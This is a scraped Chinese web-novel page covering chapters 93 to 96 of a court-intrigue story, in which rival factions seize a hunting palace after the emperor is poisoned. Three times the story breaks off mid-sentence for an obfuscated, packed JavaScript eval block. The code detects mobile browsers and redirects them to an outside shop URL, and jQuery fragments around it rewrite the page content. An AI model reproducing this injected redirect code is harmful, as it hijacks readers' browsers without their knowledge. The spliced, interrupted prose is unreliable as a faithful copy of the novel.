他抿紧了唇,攥紧了拳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137856|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大跨步走到帐帘处,拼劲力气一把掀开帐帘想要冲出去,却被翊卫冰冷的长矛狠狠的顶了回来。张锦脚步不稳,直接跌坐在地上。 张骁见状,急忙跑过去将人扶起,怒斥道:“你们做什么!我父亲乃当朝宰辅,开府同三司!你们…” “骁儿!”张锦打断他的话,沉声道:“他们不会听你说什么的。” “父亲?” 张锦摇头,在张怀的搀扶下站起身,解释道:“他们敢这么做,背后之人的一定拥有绝对的实力,拥有这种权利的人,为父只能想到一个。” “谁?” 张锦没有回答,钟声停止了…… “九…次?”张骁猛的扭过头去,目光想要透过密室的帐帘看到外面。他不敢置信的瞪大了双眼,哆嗦着嘴,双手不由的攥紧了父亲显瘦的胳膊:“父亲……陛下他。” “不可能!”张锦的状态也没比儿子好到哪里去,回荡在账内的声音哑的不成样子。他推开儿子,跌跌撞撞的冲向帐帘,毫无意外的再次被拦下。 但这次他没有退让,而是毫不留情的一脚踹翻了拦着自己的翊卫,另一个翊卫见状,抽出腰刀挥舞,想要威胁他退后,却毫无作用。 张锦无视了那把泛着寒光的腰刀,疯了似的直奔皇帐而去。 翊卫也不敢真的伤了人,毕竟他只是一个小小的禁卫,不管头上的人想干什么,他若是敢伤了当朝宰辅,谁也保不了他。 猎场营帐的布置,是皇室在北,往南依次是宗室、一品文臣、钦点的恩赏之臣,最外层则是武将。贤王府是皇后母家,并不算宗室,便是在最外层。 马景川与秦国夫人往皇帐去的时候,就经过了张锦的营帐。 秦国夫人本不关心这一边的混乱,但她的余光轻轻一瞥,就停下了脚步。 她认识张锦二十余载,一直都是意气风发的模样,从未如此狼狈过。 发冠散乱的张锦被翊卫组成的三道人墙拦着,他不断的冲击着人墙,衣袍甚至被扯裂。翊卫显然也有顾忌,并不敢真的与他有直接接触,只能用枪杆压挡在他的面前,不断的推搡着。 张锦像疯了一样的怒吼着:“你们凭什么不让我见陛下!我乃当朝宰辅,就算是要造反,改立天地!也得中书省盖下打印才算数!否则天地不容,百姓不认!他终究成不了真龙天子!” 翊卫眼中闪过不明的情绪,但也不能真的放他过去,否则将来被追究起来,也是一死。倒不如坚决执行,上头的人将来无论成败,对他们都不会有太大影响。 成,也不过是继续在这个位置上。 不成,也就是被拆分去地方做府卫,或者送去边关。 只要命还在,就还有未来。 秦国夫人的目光始终停留在张锦身上,面色无波的对内官说:“放他去吧,不管是谁,想要做什么,终究避不开中书省,也避不过张锦。” 内官沉吟了半晌,同意了,他对身后的翊卫吩咐了几句。不一会儿,翊卫组成的人墙便散开了。张锦第一时间冲了出去,甚至都没跟秦国夫人见礼,披头散发的直朝皇帐而去,一路都带着悲鸣:“陛下——” 追过来的张骁见到秦国夫人,脚步缓了一下,微微弯腰不规矩的行了礼,便又加快步伐追他爹去了。 94. 第 94 章 皇帐内,刘贤手持双刀,与龙鳞三十二卫行成了人墙,牢牢的将皇帝和皇后护在了身后。徐太医稳着手,一丝不苟的给陛下扎针,看着毒血一点一点的排出体外。 在他们对面的,是一直以温文尔雅的面貌示人的靖国公。此刻的他面目狰狞,恶狠狠的盯着刘贤,似要将他盯出个洞来。 禁卫一波又一波的冲过去,却都被龙鳞三十二卫精准的刀法一刀毙命,虽龙鳞卫都挂了彩,刘贤的手臂上甚至有两处极深的到上,但靖国公带来的人伤的更多更重。 一个个尸体被抬出皇帐,堆在外面行成了尸山血海。 靖国公恼恨的巴不得一把火直接将皇帐烧了,可内阁那群老匹夫不认玉玺只认金印,他想名正言顺就得先拿到陛下的金印,先下一道口谕让中书省拟诏才行。 他虽让人去鸣了丧钟,但皇帝不死,他就不能安心。 从陛下中毒到现在,已然快一个时辰。这一个时辰,足以让靖国公意识到,一直默默无闻且神秘的龙鳞卫是何等强悍。这支队伍从邓州便有,但只有三十二人,一开始许多人都以为这是陛下选出来的武将苗子。但慢慢的,众人发现,这些人平日并不出现,也不上战场,似乎又不是死士,便没再将他们当回事。 可如今,就是这神秘的三十二人,成为了横亘在眼前的鸿沟。 他明明离权势滔天只剩一步,却迟迟跨不过刘贤这道天堑。 远处忽然传来嘈杂的声音,靖国公转过头,率先闯入他视线的便是披头散发、衣衫不整的张锦。 他眯着眼,瞧着对方无惧于这边的刀光剑影,一头撞到了刘贤的身上,而刘贤显然不能收刀,也不想伤了当朝宰辅,只能勉强转动手持刀的方向,却还是不可避免的误伤了张锦。 可对方只是后退两步跌坐在了地上,丝毫没有发现自己的腰腹在流血,他手脚并用的想要从龙鳞卫脚下的缝隙中钻过去,但刘贤根本不会给他这个机会。 张锦仰起头,看着刘贤棱角分明的下巴,满含期颐的低声问他:“可活?” “是。” 刘贤也不欲与他多说,冷若寒冰的瞳孔依旧直直的盯着靖国公。 靖国公命人将张锦拉开,他还有用得到对方的时候,不能让人就这么死了。但是张锦的力气出奇的大,甚至不顾形象的咬伤了一个屯卫。 正当他们拉扯争执的时候,秦国夫人和马景川也被带了过来。 秦国夫人撇了一眼角落里,被人挟持着的李谨渊,他神色如常,但嘴唇发白,额间冒汗,似是身体不适,但距离太远实在看不出什么。 她什么都没说,转而走到了张锦的身边,说道:“张大人,陛下现在正是需要我们的时候,跪是没有用的。” 张锦听了秦国夫人的话,没有站起来,反而抬起头,眼眶发红宛若癫狂的问道:“陛下没事?” 秦国夫人没有看他,而是将目光牢牢锁定在自己的小姑子——站在屏风前的皇后身上。 本应陪在陛下身边的皇后此时却站在屏风之前,要么陛下已死,要么里面有她信任的人在看顾着,哪种可能性更高呢? “皇叔!皇叔!”李啸林连滚带爬的跑进来,目光中眼含期待:“皇叔怎么样了?” 靖国公沉声道:“世子,陛下驾崩了。” 李啸林愣住了,脸上挂着错愕,眼神却四散飘忽,他一句话都没说,往后退了两步,目光在扫到被刀架脖子的李谨渊时,又顿住了。 他指着李谨渊,手指颤抖的问:“他…他…” “四皇子李谨渊刺杀陛下,至陛下身死,我等护驾来迟,深感惭愧。”靖国公面无表情的说到。 李谨渊直接翻了个嘲讽的白眼,皇后和刘贤面无异色,反倒是马景川斜了靖国公一眼,刚想出声就被秦国夫人制止。 靖国公看向李啸林,问道:“卫王殿下呢?” 李啸林不知道如何接话,他想起方才姐姐疯狂的一面,用刀架在父亲脖颈上不允许他迈出半步,心绪游移。他犹豫了半晌,刚说出个‘我’字,就听到了一阵混乱的脚步声朝这边而来。 在翊卫和后卫的挟持下,宗室、勋贵、一品朝臣皆被带到了皇帐前。远远的还未靠近,就能透过掀开的帐帘,看见狼狈跪地的张锦、双刀滴血的刘贤、老神在在的靖国公、神色异常的李啸林。 见人都到齐,皇后向前走了几步,来到了刘贤身旁,扫了一眼或惶惶或镇定的文武大臣,问:“宫妃呢?” “要么在太后那里,要么翊卫将人困住了。毕竟淳王和康王还在西岭,他们手中的墨云骑和金吾卫可是身经百战,说是能以一当十都不为过,靖国公是想握个人质在手中吧?”秦国夫人说。 位于屯卫之后的靖国公眼中闪过轻蔑,说道:“人质?你也太看不起我了。他几千人难道还打得过我这几万人?这群女人怕是吓坏了吧,连出来的胆子都没有。就像景贵妃,一个巴掌就能让她变成一只鹌鹑。” 听到这话,原本安静的李谨渊突然暴起,掐住持刀者的手猛的用下死力,掐的对方手腕一抖,他借机想要推开对方,却没有成功。他于武道上着实没有天赋,小时候又被雍贵妃的宫中人丢入冰湖冻伤了经脉。刚暴起那一下也只是因着趁其不备方会成功,但终究抵不过训练有素的禁卫。 挟持他的人被吓了一跳,回手将他拦回时没有收力,刀刃在李谨渊白皙的脖颈上划下一道血痕。 “哥!”原本停驻在帐外的李明月一把推开看守她的侍卫,冲进了皇帐。 “别过来!”李谨渊喝道。 “哥……” 靖国公走到李谨渊的旁边,食指重重的顺着伤口处按了下去,顺着伤痕一路滑过,血越流越多,疼的李谨渊止不住的颤抖,却咬紧牙关不肯漏出一声。 靖国公将沾满鲜血的手放在唇边,逐一舔过每一道血迹,不屑的说到:“来人,去将太后请过来,自己儿子死了,这么重要的事,她总该来亲眼瞧瞧。” “不必了!”一道娇媚的女声从远处传来,只见良妃和安崔环带着一众兵士而来。 良妃穿着白麻长袍,发髻还是早上请安时的飞天髻,金银首饰已经卸下,改换了纯银的珍珠流苏簪和白玉耳环。 而崔环也穿着差不多的衣服,腰带和发冠也改用了纯银。两个年纪相仿的人,做着相似的打扮并肩而来,远远看去,就好像是一对夫妻。 脸色变换的李啸林这时才反应过来,看到崔环带兵而来,又有什么不明白的。 他愤怒的指着崔环,说:“崔环!你不守信用!不!是你竟敢图谋造反!” 崔环并不买账,冠冕堂皇道:“卫王世子,明明是你们卫王府协同靖国公造反,我只是应良妃之求助,前来清君侧!” 皇后看向他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她身边的嬷嬷登时大怒,呵斥道:“狗奴才,竟敢如此对太后娘娘说话,来人啊!将他拖下去!” 嬷嬷身边的屯卫刚一动,龙鳞卫立刻转换队形,直接将那几个屯卫个挑了。 血液飞溅到太后的肩膀、脸颊、发饰上,微凉的温度令她攥紧了掩藏在袖中的双手,她深吸一口气,目光直直刺向皇后,冷声道:“马蕊兰,你是要造反吗?” 在众人面前,面的太后这样的指控,皇后依旧腰板挺得笔直,她神色肃穆的说到:“母后,究竟是谁要造反,您心里比儿媳更清楚,如今既已踏出这一步,就直接撕破脸面,谁也别将谁当傻子。” 太后扶了扶发间的珠钗,轻轻抹掉上面的鲜血,她看着指腹上的一抹猩红,面色平淡无波,依旧是一副慈悲模样:“如今皇儿身死,你一不发丧,二不入棺,枉顾皇儿待你一腔深情。” 皇后垂下眼眸,坚定道:“太后前来,难道只是为陛下穿衣入棺的?” “自然不是,国不可一日无君,当需尽快择立新主,就是不知皇儿可有遗旨留下?” 刘贤无声的握紧了手中的刀柄,龙鳞三十二卫每一人都绷紧了皮肉,就像一匹匹蓄势待发的饿狼。 皇后没有立刻回答,她的沉默令在场众人开始窃窃私语。 95. 第 95 章 重臣、宗室、勋贵,隐隐分成了四个阵营。 人数最多的便是泰安帝的纯臣,一直认为应拥立嫡长子淳王为新君,其次便是靖国公一脉及其附庸,觉得应该让卫王或者卫王世子来坐下一任皇帝。至于支持太后的人,则寥寥无几。 不过观卫王世子对崔环的态度,似乎这事儿又不像他们想的那么简单。这卫王世子像是与靖国公一伙的,而崔环是背刺他们的人,那太后又站在哪一方,想扶谁上位呢? 不过,不管他们怎么战队,想要名正言顺还得看陛下的圣旨与金印。 一时间,众人看向皇后的目光变得炙热起来。 皇后动了动唇,掷地有声的投出两个字:“没有。” 霎时间,滴水入油锅,炸了开来。 争吵声不绝于耳,各路人马剑拔弩张,唯皇后与龙鳞卫依旧站在那里,像雕塑一般,一动不动。 此时,秦国夫人突然站了出来,扬声道:“如此争吵,恐怕分不出个左右。况且各方的人马都聚集在这里,随时都可能血流成河。到时就算打赢了,登上了皇位,朝中无人可用,在这种外界虎视眈眈的时候,各位又能坐稳龙椅几日?不如都坐下来谈谈。”她的眼尾不经意的扫过皇后,又瞥向众人,淡淡道:“徐太医已经为陛下修饰过龙颜,陛下穿衣入棺之事,可等新君确立之后,由新君主持,各位以为如何?” 这个提议对于蠢蠢欲动的各方势力来说,算是公平,也是对当下情势最好的办法。 不过也有个别人觉得先确认陛下遗体最好,以先皇入棺为最优先才是。至于皇位归属,应当回朝之后,与王丞相一通商议。 但是,这个提议显然遭到了崔氏一脉的坚决反对。此时的安国侯已然露出吃人的獠牙,以军队为倚靠,力推良嫔所生八皇子上位。八皇子才十岁,若幼帝登基这权柄岂不是落在了崔家人的手里!这让李谨焕一派的人坐不住了,纷纷站出来反对。 双方情绪越来越激烈,几个平日看着儒雅的文臣都要动起手来,忽然有人大喊:“你们这群朝廷的蛀虫!” 这一声,直接止息了嗡嗡的争论声,众人的目光齐齐落入出声之人的身上。只见一只跪在地上的张锦突然站了起来,他目光猩红,神情狠厉,胸膛剧烈的起伏着,这副宛若恶鬼的面貌令不少胆小之人后退数步,直到撞上看守自己的翊卫才停下。 张锦锐利的目光扫视着在场的每一个人,质问道:“陛下尸骨未寒,且是被人杀害!你们竟然丝毫没有想要查出贼人的意思,反而只想着皇位!简直令人胆寒!令人发指!” “张大人此言差矣,就是为了江山稳固,百姓和乐才要尽快请新皇登基。”崔环毫不在意张锦愤怒的视线,老神在在道:“国不可一日无君,更何况现在边关告急,战报一封封的往京城送,每一件都急需陛下亲启批复,张大人…” “借口!无耻!”张锦咆哮出声,脖颈青筋暴起,脸色充血通红,睚眦俱裂,怒发冲冠。 四下寂静,崔环脸色黑如锅底,靖国公瞥着他面露嘲讽,太后、皇后、秦国夫人等皆置身事外,李啸林有些心烦意乱。 张锦大步走向崔环,一把揪住他的衣襟,生生将人拎了起来,脚尖离地半寸有余。张锦身形消瘦,入朝后除了中书省和家宅,几乎不去其他地方,让人们逐渐忘却了曾经于猎场百步穿杨、意气风发的八尺少年。 “崔环,别以为我不知道你打的什么主意。”张锦面目狰狞,双手不断收紧手中的衣襟,一副要将他勒死的模样。崔环的心脏不断的收紧,恐慌瞬间席卷了全身,他拼命想要剥开张锦的手却无法,双脚无助的弹腾着。 “张锦!”眼见崔环要窒息而死,太后平静的目光陡然露出一丝惊恐:“快把中书令拉开!” 卫兵上前,拉扯张锦,然而对方一副豁出命的架势,即便被拉扯,被按倒在地,面颊摩擦着地面,依旧在愤怒的瞪视着崔环,宛若恶鬼回还讨债一般。 这一变故令太后攥紧了双手,她怒喝到:“张锦!哀家知道你不喜崔家,但八皇子文武双全,更是师承林修,是皇位的不二人选!” “林修?嗬嗬嗬嗬嗬……”张锦低低的笑出了声,他喑哑的声音仿佛从地下而来,阴沉的目光死死盯着太后:“林修是什么样的人,你们心里清楚的很!当年徐先生被逼出京城敢说没有他的手笔?陛下明明有成年皇子,却反推怡妃年仅十岁的小子上位,你们安的不就是立个傀儡皇帝,好垂帘听政的心思吗!” 眼看张锦越说越难听,太后一个眼神,身后的士兵想要将人押出营帐,却被靖国公的死士拦下。 “靖国公。”太后面色难看,受伤的那根指甲生生被自己掰断了半截。 靖国公:“中书令乃是三位宰辅之一,太后如此对待当朝宰辅,日后怕是没人敢真心为太后效力。” 张锦不管他们的交锋,一把甩开押着他的卫兵,瞬息间便拔出了卫兵的佩剑,在众人还未反应过来时,剑锋架在了崔环的脖颈。 消瘦的身形加上阴狠的眸光,让崔环觉得自己被一条毒蛇盯住了一般:“如果八皇子上位,你会去查谋害陛下的真凶,为他报仇吗?” 崔环害怕的想要躲开剑锋,却被张锦一剑刺穿了肩膀! “张锦你敢!”太后尖叫道! 崔环痛得嗷嗷直叫,也被吓得动弹不得,惊恐的盯着张锦。 靖国公饶有兴致的看着眼前这一幕,一言不发。 “回答我!” “查!查!我一定彻查!”崔环的声音颤抖着,疼得撕心裂肺。 张锦得了答案,心中甚为满意,又看向太后,语气幽森的问道:“太后娘娘呢?” 太后深吸一口气,郑重道:“自然。” “我要太后娘娘发誓!” “张锦,你别以为哀家不敢杀你!” “发誓!”张锦因为情绪激动,手中的剑不断摇晃,撕扯着安国侯肩膀上的伤口,血流如注。 眼看崔环已经疼得昏了过去,太后不得不妥协,道:“哀家发誓,定会查出真凶。” 张锦松开了崔环,任由他如死鱼一般滑到地上。太后刚松一口气,就见张锦手中的剑于瞬息之间,又架到了李啸林的脖子上。 “张锦!你不要得寸进尺!”太后怒极,虽然他对大儿子多有隔阂,但对于小儿子还是非常在意。经过今日之事,大儿子所生的子女怕是都会与他失和,八皇子上位只是权宜之计,为了防止意外,老三老四老五都不能留下,那么李氏的血脉就要靠十皇子和李啸林来传承。 她虽偏颇于崔氏,但也知道自己是李家妇,绝不能断了夫君的香火!否则李氏的列祖列宗定然饶不了她! “张锦,你别在这里乱发疯。”靖国公抬抬手,一大批弓箭手再次出现在了营帐外围,与方才被剿灭的弓箭手一模一样的装扮。 “靖国公?”太后看向靖国公,肯定道:“你把泾源路的番军调来了。无召调番军,你这是不打算活着回去了。” “彼此彼此。”靖国公谦虚道,转过头看向张锦:“张锦,你若想继续做这个中书令,就放下手中的剑。” 张锦呵呵呵的笑着,声音凄厉:“若陛下不在,我做这个中书令还有什么意思!就凭你们!这大晋怕是连十个年头都撑不到!一群只知道争权夺利的废物!” 李啸林被吓得跪在了地上,他仰着头,看张锦就像在看恶鬼,抖着唇却吐不出半个字。 对于这幅怯懦模样,张锦心中唾弃,冷肃的问道:“你呢?回答我!” “什……什么?” “你不是相当皇帝吗?那就发誓!发誓为陛下查明真凶,发誓会将对方绳之以法!” “我我我……我发誓……” “声音大点,听不见!” “我……我发誓!会为皇叔查明害他的人,会将对方绳之以法!” “不管真凶是谁,哪怕是太后,也定会绳之以法。” “张锦!”太后睚眦俱裂,刚上前就被靖国公的人拦下,她怒瞪对方:“你到底哪一头的?” “太后觉得呢?”靖国公看着太后,笑到:“臣命不久矣,太后下毒威胁臣的时候就应该知道,真当臣是傻子不成?”说话间,吸入了不少冷气,令他忍不住咳嗽出声。苍白的面色只有此时才显得鲜红,他讽刺道:“一旦娘娘目的达到,臣便是被烹煮的走狗,倒不如自己手里握着筹码。” “筹码?”太后冷笑:“就凭李谨渊?琅琊王氏向来清高自傲,怕是不会如你的意。别忘了,李啸林是哀家的孙儿,卫王是哀家的亲生子,就算李啸林上位,我也是太皇太后,想要收拾你也是易如反掌。” “事在人为,臣既然敢踏出这一步,就有足够的筹码。臣只知道,这世上没有无用的软肋,如果有,那也只是不够软,戳着不够痛。难道太后就不好奇,卫王去哪儿了吗?” 太后瞳孔皱缩:“你……” 靖国公的脸色带着些癫狂:“太后以为,若是李家子孙只剩下一个李啸林,我难道还成不了这天下唯一的主人?” 另一侧的张锦神情冷冽,依旧紧盯着李啸林,后者见太后无暇顾及他,只能胆战心惊的重复着张锦的话:“我发誓,就算是太后,也…也一定会将她绳之以法!” “很好……”张锦将剑从他的脖颈上移开,一步一步的朝外走去。手中的剑锋微微沁血,他走到死士面前,靖国公轻轻摆手,给他让开一条路。太后虽然气愤,也没有为难他的意思,毕竟对方字字句句都是为皇帝,若是当着文武百官的面杀了他,便是自断后路,威严扫地。 就这样,张锦披着他的破烂衣袍,披头散发,手提长刀,一步一个脚印的离开了皇帐,离开了人群。 在他的背影即将消失于众人视线时,便听得他仰天长啸:“大晋亡了!大晋要亡了啊!” 此话一出,众人议论纷纷,太后几人面色黑如锅底。 待张锦的身影消失不见,太后才转过目光看向皇后:“你也听见了,张大人也支持哀家的决定,你若再阻拦,就别管哀家不客气。” 皇后神色镇定,她抬眸看向眼神轻蔑的太后,轻飘飘的甩出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156637|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句:“陛下没死。” 账内帐外陷入寂静当中,面对众人或疑惑、或愤怒、或惊讶的目光,皇后娘娘来到了皇帐之外,扬声道:“陛下安好!” 太后原本虚搭在嬷嬷手腕上的手骤然收力,掐的嬷嬷忍不住颤了一瞬,那近乎青白的指节宛若一条条蓄满毒液的白蛇,正要露出尖锐的、愤怒的獠牙。 太后的目光瞬间锐利了起来,她走到皇后面前,一字一句的质问道:“你说什么?” “陛下受奸人所害,中毒昏迷,幸得徐太医救治及时,已无大碍。”皇后面色平静的与太后对视,她早已不是那个在田埂间劳作的少女,不会因为邻里的一句话红了脸颊,不会因为婆母的刁难而委屈哭泣,她是大梁的皇后,是泰安帝明媒正娶的夫人,是李鹤霖的母亲,当夫君倒下,她便是护卫家庭的剑盾,固若金汤。 “马如兰,既然皇儿安好,那边让哀家进去瞧瞧。”太后刚抬起脚,就被皇后牢牢抓住了手臂,她蹙眉看着眼前的女人,问道:“马如兰,你这般阻止哀家,安的是什么心思?” 这一句话可大可小,然而皇后根本不买她的账,坚定的拦在太后身前,说:“太后娘娘,陛下是吃了您送来的糕点才中毒的,您说儿媳是什么意思?” “放肆!你认为是哀家下的毒?”太后面色惊疑不定,语气愤怒,指着皇后斥骂道:“好啊,你个马如兰,哀家本以为靖国公才是乱臣贼子,没想到真正的乱臣贼子竟是你们马家人!贤王这是觉得做超品亲王还不够,还想当皇帝是吗!” 这一大顶帽子扣下来,众人看向贤王世子和秦国夫人的目光就不对劲了起来。 不过秦国夫人和贤王世子丝毫不慌,而皇后只是轻轻一笑,指着跪在地上久久无法起身的李啸林问道:“太后娘娘,说句大不敬的话,假如陛下真的驾崩了,您真的要让一个连书都没读过几本的十皇子,或者……这位跪在地上起不来的人来继承皇位吗?” 众人的目光又转移到了下身发臭的李啸林身上,寂静的营地又响起了议论声。 一个在臣子面前被吓得屎尿失禁的人,如何能登上这至尊之位?如何能让百姓臣服?还有十皇子,嫌弃学子监苦,不愿意上。让一个名声有瑕的杨修做老师,结果书都没读多少,这样的人,当真能做皇帝吗? 秦国夫人又指向靖国公:“亦或者,是这乱臣贼子?” 在场的众人,不是宗室就是跟随泰安帝的有功之臣,不可能全部杀了灭口。 太后一时无话,皇后又看向靖国公,说到:“靖国公,您挟持渊儿又有什么用?琅琊王氏不会向佞臣妥协,否则就是在葬送他们一族百年名声。” 靖国公笑了笑,说:“皇后娘娘,臣只是想要活着,想给自己留条退路。高官厚禄都可以不要,反正前四十年过得都是困苦日子,再回去也没什么难的,可臣现在的命都握在别人的手里,总要想尽一切办法活下去。” “靖国公,你这个‘别人’指的是谁?” “恕臣无可奉告。” “原来,你不是站在卫王那边的。”太后的目光落在靖国公的身上,高高在上的语气终于露出了疯狂的一面:“靖国公,哀家不管你背后还站着什么人,但只要泰安帝死了,哀家就能保证你能活着。” “什么?” “太后娘娘这是什么意思!” “疯了,真的是疯了!” 议论声由小变大,由弱变强,有人上前指责太后祸乱朝纲,阴狠毒辣,被士兵一刀枭首。 嗡嗡嗡的声音瞬间落针可闻,仅剩锣鼓般的心跳声,盈满胸腔。 崔氏,终于露出了她的獠牙。 靖国公掀了掀眼皮:“可惜了,太后娘娘,你怕是给不了我想要的。”一声呼哨而过,外围骤然涌现无数兵马。靖国公看着太后,道:“与其在这里耗时间,不如我们试试,看到底鹿死谁手。” “你!”太后指着靖国公质问,“你的泾源军并未被调动,哪儿来的兵卒?你养私军?” 靖国公冷笑:“太后,大家都是东郡榷场的受益者,在这里装什么好人呢?你自己也没想过要卫王上位,那日大家说好的扶卫王登基,结果……您在金城养的私军三日前便抵达京师了。如今这长安城里怕是已经乱套了吧?您这一上来就让崔环领兵灭口,想要扶八皇子做个傀儡皇帝,我又为何不能有点私心呢?” “你想改朝换代?” “不不不,”靖国公摇头,“我自知时日无多,不会改朝换代在史书上留下污名,我要做的是诛杀乱臣贼子,恢复大梁朝纲!于史书上留下忠臣的千古美名!” “就凭你?”太后冷笑,“没了慕容英和赵晚舟,你就算复辟了又怎样?还不是个丧家之犬!” 唰—— 铁甲撞击的声音从太后身后涌来,无数禁军与八县府外兵卒整齐划一的拱卫着太后。 太后上前一步,看着靖国公的目光就像在看蝼蚁:“靖国公,就算你继承了爵位又如何?世家容不下你这种弑父杀兄、卖祖求荣的叛徒!降者不杀,违逆者立斩不赦——” 96. 第 96 章 镇南将军常波心情特别复杂,他看着两里外的丛林里冒气的袅袅炊烟,握着刀柄的手越来越白。 他曾经也是在南境屡立战功的年轻将军,为这方土地的百姓流过血、受过伤,即便被俘也从未垮下坚实的脊梁。 可如今,他却站在营地最外围的城垛口上,指挥士兵与称为‘西北鹰隼’的三皇子为敌。 他回头看向米粒大小的营帐,那里有他的义父,将他从新罗贵族手中救出来的恩人——靖国公,他发誓永不背叛的人。 “呜——”号角声从响起,常波精神一阵,挥散心中悲悯,示意箭楼摇旗。 “所有人准备,叛军进攻了!” 从城垛口望去,一里外的营地里,一列列身着黑甲的具甲骑兵走在最前面,后面是身穿蓝边银铠的金吾卫,他们推着拥有巨大盾牌的车缓缓推进。 常波抬手:“弓箭手就位——” 所有弓箭手拉满弓弦瞄准,待墨云骑和金吾卫靠近到五丈之外,他猛的一挥,吼道:“放箭——” 箭矢如冰雹一般飞向墨云骑所在的位置,站在盾牌扯上的士兵,瞬间推动机关,原本只有两人高的盾牌瞬间被展开,一个接着一个,行成了毫无缝隙的屏障,将所有人都遮挡在了里面。只听得‘砰砰砰’的声音,箭矢全部扎在了盾牌上。 墨云骑停止了推进,一部分金吾卫上前拉弓补位,在他们的掩护下,其余人开始修筑木制防护墙。成队的马车源源不断的从树林中鱼贯而出,将一根根粗大的木头运到墨云骑所在之地,下端已经被燃烧碳化,削成尖刺,一根一根全部扎入土地之中。 李谨焕站在树林中的小山坡上,遥望着不远处正在作业的士兵,惊叹道:“皇兄的墨云骑果然名不虚传,竟还有精通土木之人。” “他们都来自五湖四海,多大都是被前朝的贵族逼迫的走投无路活不下去的人,都有些技艺傍身。”李鹤霖抬头的目光看向远处:“按照他们的速度,不出半个时辰就能造好防御墙,到时候就看金吾卫的了。” “这点放心好了,论弓箭,禁军里没人是金吾卫的对手!”李谨焕信心满满的说到。 常波看着他们竖起的一根根木桩,心道不好,对副将命令道:“全部换火箭,绝不能让他们把防御墙建起来!” 副将赶忙下去传达命令,箭楼上不同颜色小旗变换的挥动着,所有的弓箭手齐齐换上了火箭。 “嗖嗖嗖——”无数箭矢载着火光飞射而去,但只有半数扎在了圆木上,那圆木不知是抹了什么,还是烧过,火箭竟无法点燃。 “改用投石车!”常波道。 副将不明白,问道:“将军,我们有两万人,对方只有七千多人呢,为何不直接去将他们绞杀?虽说墨云骑名声显赫,但金吾卫只是一群会用弓箭的弱猴,咱们这些府卫,还有屯卫可都是近战好手,定能杀他们个片甲不留!” 常波瞥了他一眼,问道:“墨云骑只有八百人的时候,都能从吐谷浑大王子率领的三千精兵手下突围,你觉得他们能不能突破这两万人,直取你我首级?” 副将一噎,没有说话,过了半晌,才又道:“那咱们就这么防守?” 常波说:“义父只让拖时间,皇位更迭只要三省认可就没人能有异议,无需徒增伤亡。大家都是大梁人,没必要拼死拼活。告诉他们,砸碎防御墙就停止投石。” “蹦蹦——”猎宫仅有的四辆投石车被推到了城墙上。“咔咔嚓嚓——”刚立起来的防御墙被砸断了一部分,有些石头落在了前面的盾车身上,推车的士兵被砸得血肉模糊,哀嚎不断。 李鹤霖收回目光,说:“这样不行,我们得另想办法。” 章麓双手环胸,语气凝重的说到:“不知道守城的是谁,他在拖时间,看来里面应该是被叛军控制住了。” “只要得到三省认可,谁登上皇位都是名正言顺。”李谨焕道:“也不知道父皇怎么样了,究竟是谁这么大的胆子,敢在猎宫造反。可惜父皇此次带来的都是没上过战场的禁军,若是西洲军或者虞庆军,定然不会让这群乱臣贼子掌控哦过来局势。” “不管是谁,都得死。”李鹤霖面色冷肃,环视四周,道:“猎宫依山而建,内城墙环绕猎宫,外城墙东起秋山的察雅峰,西至望崖,只有南面这一道大门。营帐都驻扎在内外城墙之间,我们必须翻进外城,只要翻进去,有金吾卫在旁协助,卢康的暗卫营足以控制住外城墙。” “王爷!”汗气腾腾的周其余沿着残余的护墙骑马奔来,一个飞身下马,右手扶刀快步跑到李鹤霖面前,不待施礼便道:“守城的是常波那个砸碎!” “常波?”李谨焕诧异:“靖国公那个义子?难不成谋反的是靖国公?不可能吧!” “是谁不重要。”李鹤霖望着不远处的城垛口,若有所思:“停止进攻,所有人撤回,左右牙队轮换驻守,抽调两千金吾卫编为四队,每半个时辰在护墙下放火箭。周其余,带你的人做木签子去,箭用完了,就上弩。” “是!” 章麓看着眼前的城墙陷入沉思,另一边的李谨焕看着连绵的秋山,悻悻然的说:“猎宫外墙是在六王之乱之后建立的,大业帝怕死,集中了全国有名的工匠建了一年多才建好,堪比堡垒,只我们这点人,又没有攻城车,很难攻下。” “不过,也不是没有其他路。”李谨焕画风一转,说到:“看到西边的望崖了吗?那里有一条羊肠小道。” 众人的目光齐齐转向他。 李谨焕轻咳一声:“我自幼过目不忘,只要看一遍、听一遍,或者去过一遍的地方,都会记得很清楚。我来之前,在宫里的尚铭宫看过当年大业帝加固秋山猎宫的图。” “那羊肠小道我知道,早就被堵死了,想要过去还是要攀悬崖。可悬崖少说三十丈,都是层积岩,没有植物还松动,连攀附点都很难找,如何上去?”萧雷作为斥候营校尉,每到一个新地点都会去勘察地形,猎宫内外都勘察了一遍,早就了如指掌。 “你们墨云骑这么多能人,难道就没人能爬上去?”李谨焕瞪大了双眼,不可置信的问道。 